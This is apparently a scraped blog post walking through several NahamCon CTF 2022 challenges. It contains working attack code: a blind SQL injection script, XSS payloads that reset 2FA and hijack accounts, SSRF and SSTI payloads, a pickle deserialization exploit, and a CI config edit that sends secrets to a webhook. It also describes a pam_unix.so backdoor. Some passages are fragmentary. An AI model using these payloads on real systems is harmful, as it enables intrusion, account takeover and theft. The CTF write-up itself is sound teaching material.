添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
Well it has been a really long time since I have updated my personal blog... I have been quite busy popping shells on machines, organising CTF events and banging my head trying to solve CTF challenges. Speaking of banging ~~(no dirty innuendo here)~~, NahamCon CTF 2022 was an absolute banger ! Every challenge I did was well thought out, did not have any brain cell killing nonsense that you sometimes see in other CTFs and was just a bucket full of fun! I participated with my CTF team, PissedEmu (named after a glorious drink in Western Australia), and together we were able to reach 10th place against over 3000+ teams (great to see challenges about this since it is overlooked) and a privilege escalation miscellaneous challenges. The rest of this article I will explain my thought process and how I solved the following challenges. Flaskmetal Alchemist Two For One Hacker Ts Deafcon Poller DevOps Poisoned Gitops Miscellaneous Degradation sqlalchemy is a powerful python module for managing SQL databases that you can use by creating models and letting sqlalchemy or SQL database. It can also be used for querying data from those models, which is generally safe except for a few scenarios... One of the unsafe scenarios is if user input is directly inserted into the order_by method ! This is because sqlalchemy will just append ORDER BY {user_input} to the end of the of the query filter and does not escape the user input (cannot use prepared statements for ORDER BY statements)! Therefore, if a developer does not filter user input going into the function order_by then it is vulnerable to SQL injection We can see the web application is vulnerable by seeing that the index() route just whacks user input straight into order_by and is vulnerable to SQL injection metals = Metal.query.filter(Metal.name.like("%{}%".format(search))).order_by(text(order)) is executed. src/app.py
@app




    
.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)
 So how do we exploit the
  ORDER BY
 SQL injection vulnerability? It is not as simple as appending
  SELECT
 , etc since after the
  ORDER BY
 clause these clauses will cause an error to be returned. However,
  we can execute a different query and use the result of that query to change the result of the original query and construct a blind SQL injection attack
 It is now time to introduce you all to the most OP
  sqlite
 function for performing blind
  sqlite
 injection attacks.
 otherwise. You can use this to exfiltrate a flag from a column character by character, looking for results where you find the next character in a flag. For an example,
  instr(flag, 'flag{a')
 will return
 if the next character in the flag is
 , otherwise it returns
 Knowing how
  instr
 functions, and the flag is located in the table
 in the column
 I constructed the following blind SQL injection payload.
 
1 LIMIT 0, 1|1000*(SELECT instr(flag, '{chars}') FROM flag)
 How this works is when I find the next character in the flag, the upper
  LIMIT
 will by
 and will dump all of the metals in the database. Otherwise, when I have not found the next character in the flag then the upper limit will only be
 since
  1000*0=0
 (in case you skipped maths in highschool). This causes a very significant difference in the content length in the response that I can easily check to see if I found the correct next flag!
 Putting it all together, below is the dirty solution code that I wrote.
 
import requests, threading, queue, string
import urllib.parse as url_parse
QUERY = "1 LIMIT 0, 1|1000*(SELECT instr(flag, '{chars}') FROM flag)"
THREADS = 20
TARGET = "<URL TO YOUR CHALLENGE INSTANCE>"
PREFIX = "flag{"
CHARS = "_" + string.ascii_lowercase + string.digits + string.ascii_uppercase + "}"
q = queue.Queue()
result_q = queue.Queue()
def worker():
    while True:
        chars = q.get()[0]
        if chars == None:
            break
        query = QUERY.format(
            chars=chars
        r = requests.post(TARGET,data={"search":"","order":query})
        if len(r.content) > 3480:
            result_q.put((chars,))
        q.task_done()
if __name__ == "__main__":
    for c in CHARS:
        q.put((PREFIX+c,))
    threads = [
        threading.Thread(target=worker, daemon=True)
            for _t in range(THREADS)
    t: threading.Thread
    [t.start() for t in threads]
    while True:
        found_chars: str = result_q.get()[0]
        print("FOUND CHARS:", found_chars)
        for c in CHARS:
            q.put((found_chars+c,))
        result_q.task_done()
 Executing the code above will leak the flag character by character as shown below.
 Noice I can inject some HTML code, so I can probably execute some
  inline Javascript and exploit a XSS vulnerability
 (no Content Security Policy to stop me from doing that)!
 However, I could not simply exfiltrate my victims session cookie since the site sets the cookie as
  HttpOnly
 ... I will need to use other features on the website to be able to takeover the victim's account. Fortunately on the settings page, we could
  reset the 2FA key
  change passwords and only needing the 2FA one time password (OTP)
 ! This means that the attack methodology to take over the account is:
  Reset the victim's 2FA key and exfiltrate the new key.
  Using the OTP from step 1, change the password for the victim's account and login as them.
 To do this, I used the Javascript function
  fetch
 for sending exfiltrated data to my web hook again. My first payload resets the victim's 2FA and sends the response to my webhook I can save the OTP key on my 2FA authenticator app.
 
<script>fetch("/reset2fa",{method:'post'}).then(r => r.text()).then((d) => {fetch("https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?otp="+btoa(d))});</script>
  admin
 account! For generating the QR code to scan with my authenticator app, I was lazy and just used the
  QRious
 javascript class that was already on the website.
 Now all I needed to do was reset the admin's password and login. Using the OTP password I could do this by using the following payload which will change the
  admin
 password to
  getyaaccounttakenoverlol
 
<script>fetch("/reset_password",{method:'post',headers:{'Content-Type':'application/json'},body:JSON.stringify({"password":"getyaaccounttakenoverlol","password2":"getyaaccounttakenoverlol","otp":"<PUT OTP HERE>"})});</script>
 After waiting until the payload has been executed, I was able to login to the
  admin
 account and view the secret flag!
  which was only accessible by `localhost
 ! Hmmm, I wonder if the T-Shirt page is vulnerable to
  Server-Side Request Forgery (SSRF)
 One method to check if it is vulnerable to SSRF is by seeing if you can execute Javascript code when the image of the t-shirt is generated. The payload below should overwrite the contents the document and would show on the generated image.
 
<script>document.write("noice nearly SSRF!");</script>
 The first input to test would be the
 GET parameter in the URL and visiting the page below with the above payload shows that we can execute Javascript code!
  /exploit?text=<script>document.write("noice nearly SSRF!");</script>&color=%2324d600
 Now the next thing I needed to figure out was how to exfiltrate the contents of the admin page. Ideally, I would use
  fetch
 but for the worst case scenarios I use
  XMLHttpRequest
  fetch
 unable. To test which method works, I tried both of them to send a request to my webhook using the following payloads for
  fetch
  XMLHttpRequest
 respectively.
  Testing
   fetch
 I spent a good half an hour trying to figure out why my payload was not working. Then it finally clicked for me and realised I am a big doofus.
 The issue with the above payload is the following part of the payload.
 
y.open('GET','https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?yeet'+btoa(x.responseText))
 The character
 before the
 can also be the URL encoding for a space (
 ), which was exactly what was happening and breaking my payloads syntax. URL encoding the
 fixes the problem and the following payload works!
 
<script>x=new XMLHttpRequest();x.onload=function(){y=new XMLHttpRequest();y.open('GET','https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?yeet'%2Bbtoa(x.responseText));y.send()};x.open('GET','http://localhost:5000/admin');x.send();</script>
 I initally thought this would be an easy challenge and I can go straight to
  Remote Code Execution
 with the following payload as an email. I got the
  payload from here
 
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}@yeet.com
 Despite my super fast progress starting this challenge, I got stumped at this point for
  hours
 . Until I decided to test what happens if I put
  special unicode characters 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
 into the email.
  normalised to Leonishan
 ! This means I might be able to bypass the WAF by finding alternative unicode characters for
 . This is known as an
  unicode normalisation attack
 Reading
  this great blog
 about bypassing WAFs using unicode normalization attacks, I found that I could use the characters
 and see if it bypassed the WAF.
 Testing it with the following payload shows that I have got it!
 
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen'id'.read⁽⁾}}@yeet.com
 Now I just need to find a way to execute commands with spaces since the
  WAF also blocks emails with spaces in it
 . The easiest way I used was having a seperate
 parameter called
 that I could retrieve by using
  request.args.cmd
  Full payload
 
/ticket?name=yeet&email={{self._TemplateReference__context.cycler.__init__.__globals__.os.popenrequest.args.cmd.read⁽⁾}}@yeet.com&cmd=cat flag.txt
 I am not going to lie, I tripped up a few times doing this challenge. Fortunately I had a team mate that was noticing the little details that I missed that helped me solve the challenge.
 Poller is website specifically for the infosec community to ask and answer questions.
 At first I thought this was going to be another SQL injection challenge, since the website crashes and responds with a
 status code if you modify choice ID for a question to an invalid one.
 deserializes a string, you can deseralize it to an
  arbtrary python object running custom code
 ! This means, if I can modify my session token with a
  Pickle Deserialization payload
 then I would get
 However, in order to do this on Django I would need to know the
   SECRET_KEY
 to forge my malicious session token. I had a
  quick glimpse at the previous commits
 (this would bite my butt later), then decided to see if I can find another vulnerability I could exploit on the website.
 I saw the the Django app also had
  DEBUG
 mode set to True, which is known for leaking sensitive information and
  should be never used in an environment exposed on the internet
 . However, I realised that this was not the method since I have made the website crash earlier and it did not show me any of the juicy information I wanted...
 I then tried looking into other things such as decoding the session token to see if any sensitive information is leaked that way. The following code can be used to decode a Django
  PickleSerialized
 token.
import base64, zlib
TOKEN = ".eJxNjDsKwkAURbWwFMFVaDPMNy-l2LuG8Oa9GeOHBPIpBRcw5bgOt6iiQm55zuHeF4_n7Ltb3qRlheNQV2MfuurEOc1NTusJ80iX0LzFls_YHFtBbTN0Jy8-ifjZXhxaDtf9v11NDmrs65x2qgRTKJKWoADHDoL3OloVWYEMkZCwYI4E2pQlWKektqw1OkUmQpR5FC_xSj8w:1nkMcd:K4s7fhjnjSn2ix1AIyVKOg728TpKEIO5C0Te4PBIddE"
def b64_decode(s):
    pad = b"=" * (len(s) % 4)
    return base64.urlsafe_b64decode(s + pad)
value, sig = token.rsplit(':', 1)
base64d = value.encode()
decompress = base64d[:1] == b"."
if decompress:
    base64d = base64d[1:]
data = b64_decode(base64d)
if decompress:
    data = zlib.decompress(data)
print(pickle.loads(data))
 However, I did not find anything besides the standard attributes in Django tokens...
 Fortunately, my guardian angel saved me once again and decided to have a proper look at the commits in the repository.
 Turns out I was a big monke for only glimpsing at the previous commits, because the new key was accidently leaked when the
  developer
 tried to copy the
 file...
 
import os
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer
import os
SECRET_KEY = "77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!"
class Exploit():
    def __reduce__(self):
        return (os.system, ("""wget https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?o=$(cat flag.txt|base64 -w0)""",))
print(signing.dumps(
    Exploit(),
    key=SECRET_KEY,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer
 Now all I had to do was change my
  sessionid
 cookie to the payload and receive the flag being sent to my webhook!
 For this challenge, I had access to a GiTea and Drone CI instance using the leaked credentials
  developer:2!W4S5J$6e
 . The goal of this challenge was to find a way to leak the secret
 variable on the git repository
  JustHacking/poisoned
 but Drone CI redacts all secret variable values from its output. However, if I could modify
  .drone.yml
 I could exfiltrate the flag by sending the flag to my webhook.
 I realised that I could
  fork the repository
 , modify
  .drone.yml
  create a pull request
 to trigger my payload and get the flag!
      - echo "Running from the $DRONE_BRANCH branch"
      - echo "Flag -> $FLAG"
      - wget "https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202/?flag=$FLAG"
    environment:
      FLAG:
        from_secret: flag
trigger:
  branch:
    - master
 Once again we have access to a GiTea and Drone CI instance with the leaked credentials
  developer:2!W4S5J$6e
 . However, this time the goal for the challenge is to execute code on a website that has
  continuous deployment
 setup on.
  continuous integration
 setup using Drone CI. Since the Drone CI instance needs to have access to the
 repository it
  needs to have
  credentials that I could steal
 ! Using those
 credentials I could self-approve the pull request and throw
  software development lifecycle
 practices out of the window!
 Originally I popped a reverse shell by modifying the
  .drone.yml
 file to the one below.
 However, due to laziness doing this writeup and not bothering to turn on my attack infra I will just tell you the juicy details. When you check the
  $HOME
 directory on the Drone CI instance, you can see the
 credentials in the file
  $HOME/.netrc
 . Below I just used the
 to exfiltrate the contents of
  $HOME/.netrc
  base64
 encoded text.
 Once everything does, I had a nice webshell on the website! My personal favourite is the
  WhiteWinterWolf PHP Webshell
 After SSHing into the box, I did the standard checks to see if I can exploit an existing program for privilege escalation (eg.
 , sticky bit, crontab, running processes, etc). Nothing was useful until I check what files and folders the
 has access to.
  pam_unix.so
 which is the library for authenticating users on Unix and add a backdoor password so I can log in as the
 user!
 There is an actually a tool for doing
  this located here
 . How this
  pam_unix.so
 backdoor works by patches the original source code with another password that you provide that it checks first before trying to authenticate the user with their original password. It then compiles the new
  pam_unix.so
 that you replace with the
  /usr/lib/x86_64-linux-gnu/security/pam_unix.so
 on the challenge instance.
 I found that version 1.2.0 worked with creating the backdoor
  pam_unix.so
 and below I show how copied the
  pam_unix.so
 to the challenge instance and was able to login as
 (including me goofing a little).